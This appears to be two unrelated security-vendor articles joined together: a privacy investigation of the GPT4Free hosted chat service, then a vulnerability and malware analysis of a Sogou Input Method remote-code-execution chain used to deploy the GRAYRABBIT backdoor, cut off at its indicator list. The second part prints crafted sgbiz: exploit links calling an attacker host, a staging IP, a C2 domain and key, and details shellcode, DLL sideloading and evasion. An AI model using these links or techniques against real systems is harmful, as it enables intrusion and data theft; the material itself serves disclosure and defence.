At first, nothing about the conversation looks unusual. You open g4f.dev, choose one of the many AI models on offer, type a question and watch the answer appear. The exchange feels direct, almost private: you, the website and the model whose name you selected.&nbsp;We decided to follow the prompt. What looked like a simple conversation quickly became much more crowded, with GPT4Free infrastructure, provider code, third-party services and external model endpoints all potentially playing a part. Along the way, details about the request could be recorded together with the user’s IP address and approximate location, while the model named in the interface did not always match the model identified in the response.&nbsp;The strangest part came when we examined where some of those requests might be processed. The project includes lists of externally accessible Ollama systems, including servers on personal-looking domains and infrastructure associated with organizations or other services. Their relationship with GPT4Free is not made clear to the person whose prompt may be sent in their direction.&nbsp;This is not a story about every free AI service, and “free” is not in itself evidence of anything sinister. It is a look at one popular service and at how little a polished chatbot interface can reveal about the people, systems and data practices operating behind it.&nbsp;

<h2>We followed the prompt&nbsp;</h2>GPT4Free is a widely followed open-source project that can be installed locally, but it also operates a hosted chat service at g4f.dev. Our analysis concentrated on that hosted version, where visitors can choose from models carrying names associated with OpenAI, Google, Anthropic and other developers without creating separate accounts with those companies.&nbsp;

Behind that one interface sits a collection of providers, small pieces of code that take a chat request and adapt it to whatever the next service expects. Some lead towards official model endpoints, others recreate the web exchanges used by third-party AI sites, and some draw on custom servers. Routes that are technically very different become visually indistinguishable once they appear in the same model menu.&nbsp;Following the request therefore meant looking past the label in the interface. We compared the model chosen by the user with the provider selected by GPT4Free, the request sent onwards and the identifier returned with the answer. That was when the apparently straightforward conversation began to come apart.&nbsp;<h2>The model we chose was not always the model that answered&nbsp;</h2>Several of our tests used options associated with the Gemini provider. The prompts travelled through an OpenAI-compatible chat endpoint on g4f.space before being directed to Google’s Gemini infrastructure, but in some of those exchanges the model named in the response differed from the one we had selected in GPT4Free.&nbsp;

During our testing, we observed multiple cases in which the model reported in the response differed from the one requested. Google documents that a latest alias can be updated to a newer release within the same model variation, which may explain some model changes. However, that documented behaviour does not explain the cases in which requests for Gemini Pro or Gemini Omni resulted in responses reporting models/gemini-3-flash-preview. GPT4Free’s code uses defaultModel when no model is provided or when the selection is set to “auto”, but neither condition applied in these tests. Based on the evidence currently available, we cannot determine where in the chain the model was changed or which service was responsible.&nbsp;For someone using the chat, the uncertainty remains regardless of which system made the switch. Selecting a model in an aggregator tells you what you requested, but it does not prove what ultimately processed the prompt. Establishing that requires the entire trail, from the interface and provider to the request sent upstream and the identifier that comes back with the response.&nbsp;<h2>Then the trail led to other people’s AI servers&nbsp;</h2>The investigation became more unusual when we reached Ollama.swarm. Ollama allows people to run large language models on their own computers, and much of its privacy appeal comes from keeping prompts and answers on that hardware. Its API normally listens only on the local machine, although an owner can expose it to a wider network, deliberately or through a configuration mistake, and an exposed instance may end up reachable from the public internet.&nbsp;GPT4Free’s provider code relies on JSON files containing addresses for external AI endpoints. One seed file describes 196 Ollama sources and actually contains slightly more than 200 entries. A comment attributes 20 of them to Shodan, while the origin of the rest is left unexplained in the material we examined. When we tested a selection, some responded as working Ollama or llama.cpp services and others had already disappeared.&nbsp;

The project also maintains a richer source for its Custom Providers list. Entries in the public server metadata can include a base URL, supported models and other routing information, while the is_ollama field identifies those configured as Ollama services. We found GPT4Free workers there, but also personal-looking domains and infrastructure associated with organisations or unrelated services.&nbsp;

The list alone cannot tell us why each server is there. Its owner may knowingly provide capacity to GPT4Free, may have exposed the service for another purpose, or may not realise that it can be reached at all. We therefore cannot describe the listed systems collectively as compromised or claim that they are all being used without consent. What we can see is a service offering them as possible destinations without explaining their ownership or role to the person typing the prompt.&nbsp;If a conversation reaches one of those systems, its privacy no longer depends only on GPT4Free or the company behind the model. It also depends on an endpoint the user did not choose and may never know existed, leaving no practical way to assess whether the prompt is recorded there, how long it remains or what else might happen to it.&nbsp;<h2>To reach another provider, the code puts on a disguise&nbsp;</h2>Toolbaz offered a different example of how the provider layer works. The site lets people try several AI models in a browser and uses automated checks intended to recognise a real visitor using a real device. The integration we examined recreates the web request Toolbaz expects and builds a plausible browser fingerprint containing screen dimensions, language, time zone and other details. It also generates a fresh identity for every request.&nbsp;

Together, these mechanisms make automated requests look more like separate human visits and make controls tied to a recurring identity less effective.&nbsp;The response also introduced another unresolved model name. We requested gpt-5.2, but the returned metadata identified toolbaz-v4.5-fast. Toolbaz describes ToolBaz-v4.5-Fast as its proprietary model and presents it separately from GPT-5.2. This indicates that the response was not identified as the model selected in GPT4Free, although we cannot determine the underlying architecture or technology behind Toolbaz’s proprietary model.&nbsp;<h2>The conversation does not simply pass through&nbsp;</h2>Following the prompt explained where it could travel, but the code also revealed what GPT4Free could keep. The researchers found separate code paths for usage and error logging, including retention logic covering 14 days for usage logs and 30 days for error logs. The usage-logging code includes fields for the requester’s IP address, approximate geolocation, provider, model and conversation data. The researchers did not have access to the stored logs themselves, so these findings describe the logging behavior implemented in the code, not the contents of the service’s live log files.&nbsp;The interaction between the chat interface and that logging logic creates an unexpected possibility. In the default mode, the browser resends the whole conversation whenever the user adds another message. The logger, according to our analysis, reads the first entry and then stops, so the opening prompt is repeatedly available to be recorded, while later messages reach the server without entering the GPT4Free usage log in the same way.&nbsp;

The obvious instinct might be to enable “Disable Conversation History”, but doing so changes the shape of each request. The browser then sends one message at a time, placing every new prompt in the first position where the same logging function can capture it.&nbsp;

A setting that appears more private can therefore cause more individual prompts to become eligible for the service’s usage log. “Disable Conversation History” accurately describes what changes in the browser interface, but it tells the user nothing about this less intuitive effect behind it.&nbsp;<h2>We went looking for an explanation&nbsp;</h2>By this stage we knew that prompts could cross several providers, that the displayed model did not always settle the question of which model answered, and that GPT4Free could retain conversation data alongside network and location information. We then looked for the documents that would normally explain those practices to users.&nbsp;We identified versions of the project’s members page on two related domains, gpt4free.github.io and g4f.dev. Both ask visitors to agree to a Privacy Policy and Terms of Service, but following either link returned the same Member Area instead of opening the promised document.&nbsp;

Because broken links do not necessarily mean that the documents are absent, we searched both domains separately for pages containing privacy or terms-related language. We also reviewed the project’s manifesto, the closest document we found to a general statement about how the service operates, but it does not explain how personal data or prompts are handled. Across those checks, Gen Threat Labs could not find a Privacy Policy or Terms of Service for the hosted service.&nbsp;A web search cannot prove that an unindexed page does not exist somewhere, which is why we are describing what we could find rather than claiming that no such document can possibly exist. For an ordinary user, however, the result is the same: the service asks for agreement to two documents that it does not provide through its own links and that we could not locate elsewhere.&nbsp;<h2>Think of the prompt as something you are handing over&nbsp;</h2>GPT4Free’s openness allowed us to inspect mechanisms that would remain hidden inside a closed platform. Most visitors will never read the code or suspect how many systems may be involved in producing one answer.&nbsp;Anyone using an unofficial AI service should assume that a prompt may travel through several parties. Passwords, authentication tokens, confidential documents, internal information, health or financial details and data about other people have no place there. Removing a name may not be enough when the surrounding context still identifies someone.&nbsp;Ollama users face the other side of the same story: local hardware offers no privacy if its API is exposed. Free or paid matters less than whether the operator can explain where prompts go, who processes them and what is retained. We began with a direct-looking conversation and found multiple providers, shifting identifiers, third-party endpoints and hidden logs.&nbsp;

You choose a model, ask a question and get an answer. Behind that familiar exchange is a less familiar journey involving prompt logs, shifting model identities and servers whose role is never explained to users.

Free AI, at the Price of Your Prompt

<h2>Key Points</h2>
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
<h2>Introduction</h2>
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

<h2>The Attack Surface: How Sogou Input Method Talks to Itself</h2>
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
<h2>Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe</h2>
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
<ul>
<li>module: the name of the Sogou executable to launch</li>
<li>param: command-line arguments to pass to that executable</li>
<li>work_dir: the working directory</li>
<li>start_mode: how to launch the process (CreateProcessW or ShellExecuteW)</li>
<li>start_show: the window show state</li>
</ul>
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " &lt; &gt; |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

<h2>Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe</h2>
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Under normal circumstances, the webview would load internal Sogou URLs like <a href="https://sogoupyskin/">https://sogoupyskin/</a>, <a href="https://page.sogou/">https://page.sogou/</a>, or <a href="https://res.sogou/">https://res.sogou/</a>. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
<h2>Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox</h2>
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
<ul>
<li>disable-web-security: disables the same-origin policy, allowing any page to read from any origin</li>
<li>allow-file-access-from-files: lets URLs read other local files</li>
<li>disable-gpu-shader-disk-cache</li>
<li>enable-direct-write</li>
<li>disable-spell-checking</li>
</ul>
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
<h2>Putting It All Together</h2>
The full exploit chain works like this:
<ol>
<li>
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
</li>
<li>
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
</li>
<li>
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
</li>
<li>
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
</li>
<li>
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
</li>
</ol>
The entire chain requires nothing more than a single click on a link.
<h2>Observed in the Wild: UNC3569's GRAYRABBIT Backdoor</h2>
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "<a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Down-the-GRAYRABBIT-hole-exposing-UNC3569-and-its-modus-operandi.pdf">Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi</a>" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe&amp;param=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for <a href="https://starlabs.sg/blog/2022/12-thehole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/">CVE-2021-38003</a>, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

<h2>The Shellcode: Download and Sideload</h2>
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
<ul>
<li>7z.exe: a legitimate 7-Zip binary, used as a sideloading host</li>
<li>7zp.dll: a trojanized DLL loader (internal name: boy.dll)</li>
<li>p: an encrypted payload blob containing the final-stage RAT</li>
</ul>
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
<h2>The Loader: Anti-Sandbox and Self-Deletion</h2>
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
<h2>The Payload: GRAYRABBIT Backdoor</h2>
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
<ul>
<li>0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler</li>
<li>0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system</li>
</ul>

Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>MSG Type</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NormalMsg</td>
<td>Execute a process silently (CreateProcessW with the payload as a command line)</td>
</tr>
<tr>
<td>1</td>
<td>NormalMsg</td>
<td>Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr)</td>
</tr>
<tr>
<td>2</td>
<td>NormalMsg</td>
<td>No-op / reserved</td>
</tr>
<tr>
<td>3</td>
<td>NormalMsg</td>
<td>Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1)</td>
</tr>
<tr>
<td>4</td>
<td>NormalMsg</td>
<td>Close the interactive shell and terminate its process</td>
</tr>
<tr>
<td>5</td>
<td>NormalMsg</td>
<td>Load a plugin module from the C2 (see below)</td>
</tr>
<tr>
<td>6</td>
<td>NormalMsg</td>
<td>Collect and send system information</td>
</tr>
<tr>
<td>7</td>
<td>NormalMsg</td>
<td>Self-terminate (unload all plugins, then TerminateProcess on the current process)</td>
</tr>
<tr>
<td>8</td>
<td>NormalMsg</td>
<td>No-op / file request acknowledgment (also sent by the client to request a file)</td>
</tr>
<tr>
<td>9</td>
<td>NormalMsg</td>
<td>Upload a local file to the C2 (reads the file path from the payload)</td>
</tr>
<tr>
<td>default</td>
<td>NormalMsg</td>
<td>Dispatch to loaded plugin modules via their vtable handlers</td>
</tr>
</tbody>
</table>
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
<ul>
<li>
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
</li>
<li>
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
</li>
</ul>
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as &lt;ip_address&gt;+&lt;hostname&gt;+&lt;username&gt;+&lt;exename&gt;:&lt;pid&gt; and sent to the C2 upon successful connection.
<h2>Disclosure Timeline and Fix</h2>
<ul>
<li>
April 9, 2026: Vulnerability reported to Tencent (<a href="mailto:security@tencent.com">security@tencent.com</a>) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
</li>
<li>
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
</li>
<li>
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
</li>
<li>
May 4, 2026: CVE ID requested through MITRE
</li>
<li>
July 10, 2026: MITRE assigns CVE-2026-51990
</li>
</ul>
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
<h2>What was Fixed</h2>
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
